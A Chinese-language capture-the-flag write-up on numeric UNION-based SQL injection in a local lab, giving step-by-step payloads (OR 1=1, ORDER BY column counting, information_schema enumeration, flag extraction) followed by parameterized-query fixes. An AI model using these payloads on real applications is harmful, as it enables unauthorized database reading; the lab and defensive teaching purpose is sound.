【好靶场】报错注入-sql注入-数字型

【好靶场】报错注入-sql注入-数字型

  • 【好靶场】报错注入-sql注入-数字型
  • 前言
    • 一、前置核心原理
      • [1. 数字型注入的本质:输入直接进入数值表达式](#1. 数字型注入的本质:输入直接进入数值表达式)
      • [2. 为什么本题不需要 `-- ` 注释](#2. 为什么本题不需要 -- 注释)
      • [3. 本次注入三大核心语法作用](#3. 本次注入三大核心语法作用)
      • [4. UNION 注入硬性规则](#4. UNION 注入硬性规则)
    • 二、靶场信息与测试目标
      • [1. 靶场基础信息](#1. 靶场基础信息)
      • [2. 本文测试目标](#2. 本文测试目标)
    • 三、漏洞验证与目标数据读取过程
      • [步骤 1:使用 `OR 1=1` 确认是否存在数字型注入](#步骤 1:使用 OR 1=1 确认是否存在数字型注入)
      • [步骤 2:使用 `ORDER BY` 判断字段数量](#步骤 2:使用 ORDER BY 判断字段数量)
      • [步骤 3:使用 `UNION SELECT` 寻找回显位](#步骤 3:使用 UNION SELECT 寻找回显位)
      • [步骤 4:查询当前数据库名称](#步骤 4:查询当前数据库名称)
      • [步骤 5:枚举当前数据库中的数据表](#步骤 5:枚举当前数据库中的数据表)
      • [步骤 6:枚举 `flag` 表的字段名](#步骤 6:枚举 flag 表的字段名)
      • [步骤 7:读取目标数据](#步骤 7:读取目标数据)
    • [四、把每一步串成完整的 SQL 执行逻辑](#四、把每一步串成完整的 SQL 执行逻辑)
    • 五、常见失败点与排查思路
      • [1. `UNION SELECT` 列数不一致](#1. UNION SELECT 列数不一致)
      • [2. 把数字型注入误写成字符型注入](#2. 把数字型注入误写成字符型注入)
      • [3. 表名或字段名没有加引号](#3. 表名或字段名没有加引号)
      • [4. 当前数据库名或表名并非预设值](#4. 当前数据库名或表名并非预设值)
      • [5. 页面只显示原始记录或没有显示新增行](#5. 页面只显示原始记录或没有显示新增行)
      • [6. 数据库类型与预期不一致](#6. 数据库类型与预期不一致)
    • 六、漏洞根因与修复建议
      • [1. 根因:将外部输入直接拼接到 SQL 文本](#1. 根因:将外部输入直接拼接到 SQL 文本)
      • [2. 正确修复:使用参数化查询](#2. 正确修复:使用参数化查询)
      • [3. 输入校验只能作为补充](#3. 输入校验只能作为补充)
      • [4. 不把数据库报错直接返回给用户](#4. 不把数据库报错直接返回给用户)
      • [5. 数据库账户遵循最小权限](#5. 数据库账户遵循最小权限)
    • 总结

【好靶场】报错注入-sql注入-数字型

前言

在 SQL 注入学习中,很多人习惯直接复制 Payload 读取目标数据,却无法独立分析漏洞成因与利用逻辑。想要真正掌握注入,必须建立一套标准化探测流程:判断可控输入、确认参数类型、探测字段数量、定位回显位置、枚举库表结构、读取目标数据。

本次实验为数字型 SQL 注入 ,页面具备 SQL 错误回显且支持 UNION 联合查询。这里同样需要做一次关键概念纠正:本题只依靠报错完成漏洞探测,核心数据利用方式为 UNION 联合查询,不属于通过数据库报错直接取数的报错注入利用。

本次实验仅用于个人 Web 安全知识复盘,实验在本地隔离、自建的授权靶场中完成,全程离线,不存在对外攻击、公网资产测试等行为。

后端原始 SQL 语句将用户输入的用户 ID 直接拼接到查询中,无过滤、无预编译,存在完整注入风险:

sql 复制代码
SELECT * FROM users WHERE id = 用户可控输入

下文将严格按照从 0 到 1 的完整复现流程记录。每一步均包含探测意图、输入 Payload、页面现象和原理分析,形成可迁移、可复用的注入思维。


一、前置核心原理

1. 数字型注入的本质:输入直接进入数值表达式

字符型注入中的参数通常被单引号包裹,测试时需要先处理引号闭合;而本题的 id 位于数值表达式中,本身没有单引号边界。

正常搜索时,SQL 结构如下:

sql 复制代码
WHERE id = 8

当输入内容为:

text 复制代码
8 or 1=1

后端拼接后的 SQL 为:

sql 复制代码
WHERE id = 8 or 1=1

1=1 是恒成立条件,最终会使整个 WHERE 条件成立,从而返回多条记录。若页面结果确实由一条变为全部或明显更多的记录,就说明用户输入已经参与 SQL 语法解析。

与字符型注入不同,本题的关键特征是:

text 复制代码
数字型参数 → 不需要单引号闭合 → 直接使用数字表达式和 SQL 运算符进行测试

2. 为什么本题不需要 -- 注释

本题的查询原型是:

sql 复制代码
SELECT * FROM users WHERE id = 用户可控输入

用户输入位于原 SQL 的末尾,没有额外的单引号或其他残留内容需要截断。因此下面的 Payload 可以直接构成完整 SQL:

text 复制代码
8 order by 5

对应:

sql 复制代码
SELECT * FROM users WHERE id = 8 order by 5

只有当真实后端在用户输入后仍拼接了其他固定 SQL 片段时,才需要根据实际语句判断是否使用注释符。不能因为字符型题目常用 -- ,就机械地把它套用到所有数字型参数中。

3. 本次注入三大核心语法作用

语法 核心作用 本题使用场景
OR 1=1 通过恒真条件验证输入能否改变原始 WHERE 逻辑 确认数字型参数存在注入可能
ORDER BY 通过递增排序位置探测原始查询的总列数 UNION 查询前后字段数量必须一致
UNION SELECT 拼接自定义查询结果,在页面回显需要的数据 读取库名、表名、字段名和目标数据
information_schema MySQL 系统元数据表,可枚举库、表、字段信息 在授权靶场中确认数据库结构

4. UNION 注入硬性规则

联合查询执行必须满足两个条件:

  1. 前后两条 SELECT 查询字段数量完全一致;
  2. 对应字段数据类型兼容,并且结果能够被页面渲染。

经过后续探测,本题原始查询返回 5 列,因此所有 UNION Payload 都必须严格构造 5 个字段占位:

sql 复制代码
UNION SELECT 1, 2, <要显示的数据>, 4, 5

二、靶场信息与测试目标

1. 靶场基础信息

页面提供一个按用户 ID 搜索的输入框,查询结果表格展示以下字段:

text 复制代码
ID、姓名、邮箱、部门、薪资

重点:在最开始测试前,不能仅根据页面展示字段就预设后端 SQL、结果列数、回显位或数据库表结构。 这些信息都必须通过后续的正常请求与测试请求对照得出。

本题已知的查询原型仅用于帮助理解最终拼接逻辑:

sql 复制代码
SELECT * FROM users WHERE id = 用户可控输入

2. 本文测试目标

在不修改、不写入数据库数据的前提下,按顺序完成整套验证流程:

text 复制代码
确认是否存在数字型注入
    ↓
探测原始 SQL 查询的列数量
    ↓
定位页面可展示数据的回显位置
    ↓
确认当前数据库名称
    ↓
枚举当前数据库内所有数据表
    ↓
枚举目标表内的字段名
    ↓
读取目标字段内的数据

三、漏洞验证与目标数据读取过程

步骤 1:使用 OR 1=1 确认是否存在数字型注入

先输入一个正常的用户 ID:

text 复制代码
8

页面只返回 ID 为 8 的记录。此时 SQL 可以理解为:

sql 复制代码
SELECT * FROM users WHERE id = 8

然后输入:

text 复制代码
8 or 1=1

服务端拼接后:

sql 复制代码
SELECT * FROM users WHERE id = 8 or 1=1

观察页面现象:

页面返回 users 表中的多条记录,明显多于正常输入 8 时的结果。

观察与分析:

  • id = 8 只匹配特定 ID 的记录;
  • 1=1 永远成立;
  • OR 两侧只要有一侧为真,整个条件即为真;
  • 页面结果扩大,说明 or 1=1 没有被当作普通文本,而是被数据库当作 SQL 逻辑解析。

结论:

可以初步确认这是一个位于数值表达式位置的数字型 SQL 注入点

下一步动作:

既然输入能够改变 SQL 逻辑,就继续用 ORDER BY 判断原查询返回了多少列,为 UNION SELECT 做准备。


步骤 2:使用 ORDER BY 判断字段数量

先输入:

text 复制代码
8 order by 5

最终 SQL:

sql 复制代码
SELECT * FROM users WHERE id = 8 order by 5

观察页面现象:

页面没有 SQL 报错,仍能正常显示查询结果。

然后将数字增加 1,输入:

text 复制代码
8 order by 6

最终 SQL:

sql 复制代码
SELECT * FROM users WHERE id = 8 order by 6

观察页面现象:

页面出现数据库错误。例如 MySQL / MariaDB 常见提示可能为:

text 复制代码
Unknown column '6' in 'ORDER BY'

为什么能这样判断:

ORDER BY 5 表示按结果集的第 5 列排序。若结果集中确实存在第 5 列,数据库可以正常执行;ORDER BY 6 则请求按不存在的第 6 列排序,因此会失败。

text 复制代码
ORDER BY 5  正常
ORDER BY 6  报错
        ↓
原查询结果集共有 5 列

结论:

原查询返回 5 列 。因此构造联合查询时,UNION SELECT 后面也必须提供 5 个字段。

下一步动作:

15 作为标记值进行联合查询,确认页面的回显位置。

注意:ORDER BY 6 的本质通常不是普通语法错误,而是引用了超出结果集范围的排序列。不同靶场可能统一包装错误提示,判断时应以"5 正常、6 稳定失败"的对照现象为准。


步骤 3:使用 UNION SELECT 寻找回显位

输入内容:

text 复制代码
8 union select 1,2,3,4,5

最终 SQL:

sql 复制代码
SELECT * FROM users WHERE id = 8
UNION
SELECT 1,2,3,4,5

页面回显:

搜索结果表格中新增一行内容:

ID 姓名 邮箱 部门 薪资
1 2 3 4 5

分析:

这条语句能够成功执行,说明联合查询列数与原查询匹配。页面字段与联合查询位置的关系也已经明确:

ID 姓名 邮箱 部门 薪资
1 2 3 4 5

理论上 5 个位置都可以显示标记值。为了后续记录统一,本文选择第 2 位"姓名"承载查询结果。将需要显示的数据放在第 2 个表达式,其余位置使用常量占位即可。

结论:

第 2 列是稳定、清晰的回显位,后续统一使用:

sql 复制代码
UNION SELECT 1, <要显示的数据>, 3, 4, 5

下一步动作:

先查询当前正在使用的数据库名称,再通过 information_schema.tables 枚举表名。


步骤 4:查询当前数据库名称

输入内容:

text 复制代码
8 union select 1,database(),3,4,5

最终 SQL:

sql 复制代码
SELECT * FROM users WHERE id = 8
UNION
SELECT 1,database(),3,4,5

页面回显:

姓名列显示当前数据库名称:

text 复制代码
sql_injection_lab

分析:

database() 是 MySQL / MariaDB 中用于返回当前数据库名的函数。后续查询元数据时,将数据库名作为 table_schema 的限定条件,可以避免把其他数据库中的同名表或字段混入结果。

结论:

当前数据库为:

text 复制代码
sql_injection_lab

下一步动作:

使用 information_schema.tables 枚举该数据库中的数据表。


步骤 5:枚举当前数据库中的数据表

输入内容:

text 复制代码
8 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()

最终 SQL:

sql 复制代码
SELECT * FROM users WHERE id = 8
UNION
SELECT 1, GROUP_CONCAT(table_name), 3, 4, 5
FROM information_schema.tables
WHERE table_schema = database()

页面回显:

姓名列显示:

text 复制代码
users,flag

Payload 语法拆解讲解:

sql 复制代码
information_schema.tables

保存数据库中表的元数据;而:

sql 复制代码
table_schema = database()

把范围限制为当前正在使用的数据库,避免枚举到其他库的表名。

GROUP_CONCAT(table_name) 会把多行表名拼成一个逗号分隔的字符串。这样即使页面只显示一行记录,也能一次看到多个表名。

结论:

当前库中至少存在:

text 复制代码
users
flag

其中 flag 的命名具有明显的靶场题目特征,优先查看其字段结构。

下一步动作:

information_schema.columns 中查询 flag 表的字段名。为了避免其他数据库存在同名表,查询时同样要限制当前库。


步骤 6:枚举 flag 表的字段名

输入内容:

text 复制代码
8 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name='flag'

最终 SQL:

sql 复制代码
SELECT * FROM users WHERE id = 8
UNION
SELECT 1, GROUP_CONCAT(column_name), 3, 4, 5
FROM information_schema.columns
WHERE table_schema = database()
  AND table_name = 'flag'

页面回显:

姓名列显示:

text 复制代码
id,flag

分析:

information_schema.columns 记录每张表的列信息。这里已经确认:

  • id:通常为记录编号;
  • flag:字段名直接表明其内容是本题的目标数据。

结论:

目标数据位于 flag 表的 flag 字段中。

下一步动作:

flag 表读取该字段内容。


步骤 7:读取目标数据

输入内容:

text 复制代码
8 union select 1,group_concat(flag),3,4,5 from flag

最终 SQL:

sql 复制代码
SELECT * FROM users WHERE id = 8
UNION
SELECT 1, GROUP_CONCAT(flag), 3, 4, 5
FROM flag

页面回显:

姓名列直接显示目标字符串:

text 复制代码
flag{799040f4aa8a48d7bd93ebc7b0ea96f2}

上面的值仅表示回显形式。请以本地隔离靶场实际返回的数据为准,不应将示例值当作固定结果。

为什么这里仍使用 GROUP_CONCAT()

如果 flag 表只有一条记录,直接写 flag 也可以;使用 GROUP_CONCAT(flag) 的好处是,即使有多条记录,页面仍会将结果拼接为一条字符串返回,适合只有一个固定回显位的场景。

最终结论:

漏洞利用链路完整闭合:输入可控 → 数值条件可被篡改 → 联合查询成功 → 数据库结构可枚举 → 可读取目标字段。至此,本地靶场验证完成。


四、把每一步串成完整的 SQL 执行逻辑

以最后一步为例,搜索框输入:

text 复制代码
8 union select 1,group_concat(flag),3,4,5 from flag

服务端拼接后,核心 SQL 逻辑可以理解为:

sql 复制代码
SELECT *
FROM users
WHERE id = 8
UNION
SELECT 1, GROUP_CONCAT(flag), 3, 4, 5
FROM flag

其中:

  1. 8 作为数值表达式参与原始 WHERE id = 8 条件;
  2. UNION SELECT 把第二段查询的结果追加到页面结果中;
  3. GROUP_CONCAT(flag) 放在第 2 位,所以显示在"姓名"列;
  4. 本题用户输入位于 SQL 末尾,因此不需要额外用注释截断尾部语句。

整个过程可以概括为:

text 复制代码
8 or 1=1 返回多条记录
    ↓
确认数字型参数可控
    ↓
ORDER BY 5 正常、ORDER BY 6 失败
    ↓
确认原查询有 5 列
    ↓
UNION SELECT 1,2,3,4,5 确认回显位
    ↓
database() 确认当前数据库
    ↓
information_schema 查询表名与字段名
    ↓
从 flag.flag 读取目标内容

五、常见失败点与排查思路

1. UNION SELECT 列数不一致

例如已经确认原查询有 5 列,却误写成:

sql 复制代码
UNION SELECT 1,2,3

数据库会拒绝联合查询。必须保证两个 SELECT 的列数一致。本题固定使用 5 个位置:

sql 复制代码
1, <回显内容>, 3, 4, 5

2. 把数字型注入误写成字符型注入

本题的参数位于数值位置,通常可以直接从数字开始构造:

text 复制代码
8 union select 1,2,3,4,5

不需要像字符型注入那样先提交单引号闭合:

text 复制代码
' union select ...

如果把字符型 Payload 直接套到数字型参数中,反而可能造成 SQL 语法错误。

3. 表名或字段名没有加引号

查询元数据时,字符串条件必须写成字符串:

sql 复制代码
table_name = 'flag'

而不是:

sql 复制代码
table_name = flag

后者会把 flag 当作标识符解析,可能导致报错或查询不到结果。

4. 当前数据库名或表名并非预设值

sql_injection_labflag 都只是本地靶场中通过枚举得到的结果,不是所有练习题的固定名称。遇到不同环境时,应先查询:

sql 复制代码
database()

再通过:

sql 复制代码
information_schema.tables

和:

sql 复制代码
information_schema.columns

根据实际回显替换数据库、表名和字段名。

5. 页面只显示原始记录或没有显示新增行

有些页面会让 id = 8 的原始记录排在联合查询结果前面;也有页面会分页、过滤空值或隐藏部分字段。此时应重点观察新增行中是否出现 1、2、3、4、5 等标记值,而不是只看第一条结果。

6. 数据库类型与预期不一致

本文的 database()information_schemagroup_concat() 均以 MySQL / MariaDB 靶场为例。若实验环境是 SQL Server、Oracle、PostgreSQL 等其他数据库,函数、元数据表和语法会不同,不能直接照搬。


六、漏洞根因与修复建议

1. 根因:将外部输入直接拼接到 SQL 文本

漏洞代码的核心问题通常类似:

php 复制代码
$id = $_GET['id'];
$sql = "SELECT id, name, email, department, salary
        FROM users
        WHERE id = $id";
$result = $pdo->query($sql);

此时 $id 不再只是"数据",而可能成为 SQL 语法的一部分。无论只过滤单引号、空格还是 UNION 等关键字,都无法从根本上解决这个问题。

2. 正确修复:使用参数化查询

以 PDO 为例,应把 SQL 结构与用户数据分开:

php 复制代码
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if ($id === false || $id === null || $id < 1) {
    http_response_code(400);
    exit('invalid id');
}

$sql = 'SELECT id, name, email, department, salary
        FROM users
        WHERE id = :id';

$stmt = $pdo->prepare($sql);
$stmt->execute([':id' => $id]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);

在参数化查询中,$id 会作为一个值绑定,而不会参与 SQL 语法解析。即使用户提交 8 or 1=1,也只会被识别为不符合整数格式的无效输入,而不会改变查询逻辑。

3. 输入校验只能作为补充

ID 字段应只接受合理范围内的正整数,因此可以额外做类型、范围和权限校验。但必须明确:

text 复制代码
输入校验 ≠ SQL 注入的根本修复
预编译 / 参数绑定 = 必须具备的根本修复

输入校验用于保证业务数据质量;参数化查询用于隔离代码与数据,防止注入。

4. 不把数据库报错直接返回给用户

本题之所以能快速判断列数,是因为页面直接暴露了数据库错误信息。在生产环境中应:

  • 对用户返回统一、无敏感信息的错误提示;
  • 将数据库错误写入受保护的服务端日志;
  • 配合错误追踪系统定位问题;
  • 避免泄露数据库类型、SQL 片段、表名、文件路径和版本信息。

这不能替代参数化查询,但可以减少信息泄露带来的利用便利。

5. 数据库账户遵循最小权限

业务连接账号只授予实际业务表所需的最小权限,不使用高权限管理员账号连接应用。最小权限不能消除注入漏洞,但能够在漏洞出现时缩小可读取、可修改的范围。


总结

这道题最重要的不是机械记忆 Payload,而是建立稳定的判断链:

text 复制代码
输入 8 or 1=1 返回多条记录
    → 证明数值表达式可能可控

ORDER BY 5 正常、ORDER BY 6 失败
    → 证明原查询有 5 列

UNION SELECT 1,2,3,4,5 成功回显
    → 确认联合查询可用并定位页面输出列

查询 database()、information_schema.tables / columns
    → 获得当前库、flag 表和 flag 字段

在第 2 个回显位查询 GROUP_CONCAT(flag)
    → 读取本地靶场中的目标数据

对于这类数字型联合注入题,始终遵循"先验证、再测列数、再找回显、最后枚举结构与读取数据 "的顺序,能显著减少盲猜和无效测试。更重要的是,从防守角度看,所有这些步骤最终都指向同一个根因:应用把不可信输入拼进了 SQL 文本。 使用参数化查询,才是解决该问题的正确方式。

相关推荐
Wang's Blog12 小时前
Vibe Coding一人即团队系列30: AI辅助数据库脚本设计与字符集问题修复
数据库·人工智能
可乐鸡翅yeah_12 小时前
HTTPS 站点下 M3U8 混合内容问题深度排查,HLS 协议安全策略踩坑实录
数据库·网络协议·https·m3u8·m3u8在线
疯狂打码的少年18 小时前
【数据库技术】关系模型基本概念(关系/属性/元组/键)
java·服务器·数据库·笔记
普马萨特20 小时前
实体与位置关系的数据从哪里来:获取、治理与仍待解决的问题
网络·数据库
醉颜凉20 小时前
MySQL 8 忘记 root 密码?这两种方法帮你轻松解决
数据库·mysql·adb
RestCloud21 小时前
集成链路监控体系搭建:接口调用、数据流转与异常告警全覆盖
数据库·数据安全·ipaas·api管理·数据监控·集成平台·api 治理
xxwl58521 小时前
MySQL 基础学习笔记
数据库·mysql
SKH.21 小时前
Linux软件编程(6)线程间通信
java·开发语言·数据库
Rain的Java大神之路1 天前
PC版网站被狂刷怎么处理
java·数据库·redis·后端·mysql·web安全·运维开发